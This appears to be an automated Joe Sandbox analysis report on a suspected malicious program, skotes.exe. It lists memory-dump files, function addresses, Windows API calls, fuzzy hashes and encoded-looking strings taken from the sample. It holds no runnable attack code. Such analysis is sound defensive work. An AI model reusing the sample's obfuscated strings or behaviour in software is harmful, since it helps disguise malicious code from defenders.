Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction ID: de4089cf581e5e79145c0f9cd60ce5ae1405010e3e8a5f1953a7e9882e6d18f5
Opcode Fuzzy Hash: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction Fuzzy Hash: 99A1D1B0A21206DFDB20DF74C844B9AB7B8FF15310F148169E819D7681EB31EA68CBD1

Function 0027BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BBE4
_xtime_get.LIBCPMT ref: 0027BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BC13

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction ID: ce01dd7c2ccb0c5ca3eb3084e8809487f45db4fb1b39e7d421a1f5449e355e02
Opcode Fuzzy Hash: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction Fuzzy Hash: 85211D71A10119AFDF01EFA4DC859BEB7B9EF48710F20801AFA05B7251DB709D519BA1

Function 0029F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0029F3A3

Strings

8",, xrefs: 0029F44B
`',, xrefs: 0029F375

Memory Dump Source

Source File: 00000003.00000002.2117956258.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000003.00000002.2117932577.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2117956258.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118028872.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118051789.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118077627.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118199312.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118220744.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118246187.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118267087.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118336555.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118398987.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118419984.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118442816.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118463965.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118483787.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118505096.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118530870.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118560237.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118586547.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118687275.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118712509.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118744394.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118765684.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118794966.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118816482.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118838390.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118859265.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118880494.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118901473.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118927801.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118948704.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118969852.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2118995695.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119017592.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119046716.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119081952.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119104393.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119136832.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119168193.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119198090.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119219897.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119298571.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119325608.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119349013.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119372054.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119395418.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119428822.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2119459674.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8",$`',
API String ID: 3903695350-3341778876
Opcode ID: 5238a33cc64bf3419c619f081507061c3ff4f6f193450bb63c87fcdce8dac833
Instruction ID: f2a262a16d700fbb62f9a488abce0d8a3d88fcddeca95aa38b8347de90daa4c8
Opcode Fuzzy Hash: 5238a33cc64bf3419c619f081507061c3ff4f6f193450bb63c87fcdce8dac833
Instruction Fuzzy Hash: 87316732620302DFEFA0AE39DA45B5B73E8EF00352F10443AE449D6595DE74E8A08B65

Analysis Process: skotes.exePID: 7748, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	844
Total number of Limit Nodes:	57

Executed Functions

Function 0026E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9c9aa5, xrefs: 0026FB8E
GnNoc2Hc, xrefs: 0026E56C
UA==, xrefs: 0026EB0F, 0026ED56
MGE+, xrefs: 0026E821
WTs=, xrefs: 002705CA
#, xrefs: 00270624
111, xrefs: 0026F7A0
246122658369, xrefs: 0026F737, 0026FA14, 002705E7, 0027099A
L1,, xrefs: 0026F7E5
WDw=, xrefs: 0026F71D, 0026F9FA
MQ==, xrefs: 0026E592
WTw=, xrefs: 0027097D

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1,$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3423598221
Opcode ID: 2f6809cba972c754217215e39e0e09fffec6e8700c1594fc4055351005060b72
Instruction ID: d296c6e2fa9e1505b5dbcbca041ff5b96636086c4a0150de67e2c85026a22f18
Opcode Fuzzy Hash: 2f6809cba972c754217215e39e0e09fffec6e8700c1594fc4055351005060b72
Instruction Fuzzy Hash: 8B82C170924288DBEF14EF68C9497CE7FB5AB06304F508599E809273C2D7759A98CFD2

Function 002A2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,002B6758), ref: 002A275C

Strings

Eastern Standard Time, xrefs: 002A27CB
Eastern Summer Time, xrefs: 002A27FA
Xg+, xrefs: 002A2705, 002A270B

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg+
API String ID: 565725191-2023314190
Opcode ID: e5e72fb0be47cb557e193090f839bc1cddcc4026857541741c507a8ecb5c9c52
Instruction ID: aae1e376f53aedb8d1569df95c00f1b346e0a22d348ac523c35ea3e39988ae88
Opcode Fuzzy Hash: e5e72fb0be47cb557e193090f839bc1cddcc4026857541741c507a8ecb5c9c52
Instruction Fuzzy Hash: E1C11771920206EFDB249F6C9C55BAABBADEF47714F1400A9E84497252EF308E69CF50

Function 0026EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0026EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0026ED98

Strings

9c9aa5, xrefs: 0026FB8E
UA==, xrefs: 0026EC41, 0026ED56, 0026EF89, 0026F2CE
#, xrefs: 00270624
mxo1L0x, xrefs: 0026EE84
invalid stoi argument, xrefs: 002708B0
WDw=, xrefs: 0026F71D, 0026F9FA, 0026FDE3
FisgLnsCZO1i, xrefs: 0026FF19
GiQaT29tduF=, xrefs: 0026FEB6
WTs=, xrefs: 002705CA
FCQgKF==, xrefs: 0026FEE4
111, xrefs: 0026F7A0
246122658369, xrefs: 0026F737, 0026FA14, 0026FE00, 002705E7
L1,, xrefs: 0026F7E5
stoi argument out of range, xrefs: 002708C4

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
